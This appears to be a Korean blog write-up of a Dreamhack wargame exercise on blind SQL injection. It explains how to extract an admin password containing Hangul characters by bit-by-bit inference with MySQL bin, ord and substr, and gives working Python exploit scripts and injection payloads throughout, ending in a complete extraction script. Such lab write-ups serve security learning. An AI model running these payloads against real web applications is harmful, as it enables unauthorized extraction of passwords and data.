본문 바로가기
프로그래밍/해킹

[WHA-S] Exercise: Blind SQL Injection Advanced

by 만디기 2024. 6. 30.
from requests import get

host = "http://localhost:5000"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

문제 : https://learn.dreamhack.io/313

 

- Blind SQL Injection 공격을 진행할 때 데이터가 반드시 아스키 범위로 구성되었을 것이라는 고정관념을 가지지 말아야 한다.

- 이 문제에서 utf-8언어셋에서 한글은 11,172개의 경우의 수가 존재하기 때문에 이를 순차적으로 증가하면서 브루트포싱하는 것은 굉장히 비효율이며, 브루트포싱을 과도하게 진행할 경우 추출 시간이 오래 소요되는 것은 물론이고, 방화벽 및 관제 등에 의해 탐지될 가능성이 매우 높아진다.

- 따라서 비트 연산을 통해 공격하는 방식을 선택한다.

 

1. 문제 분석

- Flag는 admin 계정의 비밀번호이며, 한글과 아스키 코드의 조합으로 이루어져 있다.

- 웹 서버에서 입력은 별도의 검증 없이 바로 mysql 쿼리에 활용되므로, SQL Injection 공격이 가능하다.

 

- SQL Injection Test

1) ' or 1=1 limit 0,1-- : 참이므로 문구 출력

2) ' or 1=1 limit 0,1-- :거짓이므로 문구 미출력

3) 이외 에러 화면은 쿼리 문법 오류

※ limit 0,1을 사용하는 이유 : 0번째부터 1개 출력, 웹 서버 코드에서 결과가 한 줄이어야만 표시하도록 되어 있기 때문이다.

※ 쿼리 맨 뒤에 띄어쓰기가 있는 이유 : mysql에서의 주석은 #, --, /**/ 가 있는데 이 중 --는 뒤에 공백이 한 칸 있어야 주석으로 해석한다.

2. 익스플로잇

1) admin 패스워드 길이 찾기 : 먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 한다.

- MySQL에서 문자열의 길이를 알아내는 함수로는 length와 char_length가 있다. 이 중 length 함수는 바이트 형태의 길이를 반환하는 함수이기 때문에, 만약 패스워드가 아스키 코드로 이루어져 있지 않다면 정확한 패스워드의 길이를 알아낼 수가 없다. 따라서 문자열 인코딩에 따른 정확한 길이를 반환하기 위해서는 char_length 함수를 사용해야 한다.

# 코드 1)

from requests import get

host = "(host 값)"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
    else:
        print("not exists... next step")
print(f"password length: {password_length}")

 

2) 각 문자 별 비트열 길이 찾기

- 패스워드의 각 문자가 한글인지 아스키 코드인지 알 수 없기 때문에 비트열로 변환하여 추출하기 전에 각 비트열의 길이를 찾아야 한다. 

- admin 패스워드의 길이를 찾을 때와 동일한 방식으로 찾을 수 있으며, 비트열은 모두 0과 1 로 이루어져있기 때문에 일반적인 length 함수를 사용하여도 무방하다.

 - 각 문자 별 비트열 길이를 찾기 위해 다음과 같은 형태로 쿼리를 작성할 수 있다 : 

admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -

 

(*) bin : 해당 값을 2진수 형태로 변환해 준다.

(*) ord : 만약 해당 문자가 멀티바이트 문자인 경우, 특정 공식에 따라 계산한 숫자를 반환한다. 멀티바이트 문자가 아닌 경우 ascii 함수와 동일하게 동작한다.

- https://domdom.tistory.com/245

 

[MySQL] ASCII() 와 ORD() 함수의 차이점

ASCII(str) 문자열의 가장 왼쪽에 있는 문자의 정수 값을 반환합니다. 만약 빈 문자열이라면 0 을 반환하고, 문자열이 NULL이라면 NULL을 반환합니다. ASCII() 함수는 8bit 문자에 한해서 기능합니다. mysql

domdom.tistory.com

- https://linarena.github.io/web_0x04

 

한글 데이터 sql injection

한글데이터 Blind SQL Injection 안녕하세요. 쁘니입니다. 오늘은 Blind SQL Injection으로 한글 데이터를 추출하는 방법을 알아보겠습니다. 보통 Blind SQL Injection이라 하면 substring 함수로 데이터를 나누고,

linarena.github.io

# 코드 1)
...

# 코드 2)
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        # 각 글자의 bit 길이를 알아내기 위한 쿼리문
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

 

3) 각 문자 별 비트열 추출

- 각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 한다. 

- 비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있다 : 

admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -

# 코드 1)
# 코드 2)
...

# 코드 3)
bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

 

4) 비트열을 문자로 변환

- 패스워드의 각 비트열을 모두 추출했다면, 이를 다시 문자로 변환해주어야 한다. 이 때 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해 주어야 한다.

- 예를 들어,  의 경우 utf-8로 인코딩하였을 때 \xea\xb0\x80 로 표현된다. 이를 비트열로 표현하면 111010101011000010000000가 되는데, 비트열을 다시 문자로 변환하기 위해서는 다음과 같은 순서로 진행해야 한다.

  1. 비트열을 정수로 변환
  2. 정수를 Big Endian 형태의 문자로 변환
  3. 변환된 문자를 인코딩에 맞게 변환

이렇게 하면 최종적으로 admin의 비밀번호를 획득할 수 있다.

# 코드 1)
# 코드 2)
# 코드 3)
...

# 코드 4)
password = ""
for i in range(1, password_length + 1):
    ...
    # int.to_bytes((변환하려는 값), (비트 길이), (big/little 엔디안 선택))
    # int(bits, 2).to_bytes(bit_length, byteorder="big").decode("utf-8") 도 가능함
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

5) 최종 익스플로잇 코드

from requests import get

host = "(호스트)"

password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")

    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

'프로그래밍 > 해킹' 카테고리의 다른 글

Exercise: SQL Injection Bypass WAF  (0) 2024.07.02
Bypass WAF  (0) 2024.07.02
DBMS Fingerprinting  (0) 2024.07.01
해킹 공부할 때 참조하면 좋은 것  (0) 2024.06.26
맥북 시스템 해킹(Pwnable, Reversing) 환경 구성  (0) 2024.06.26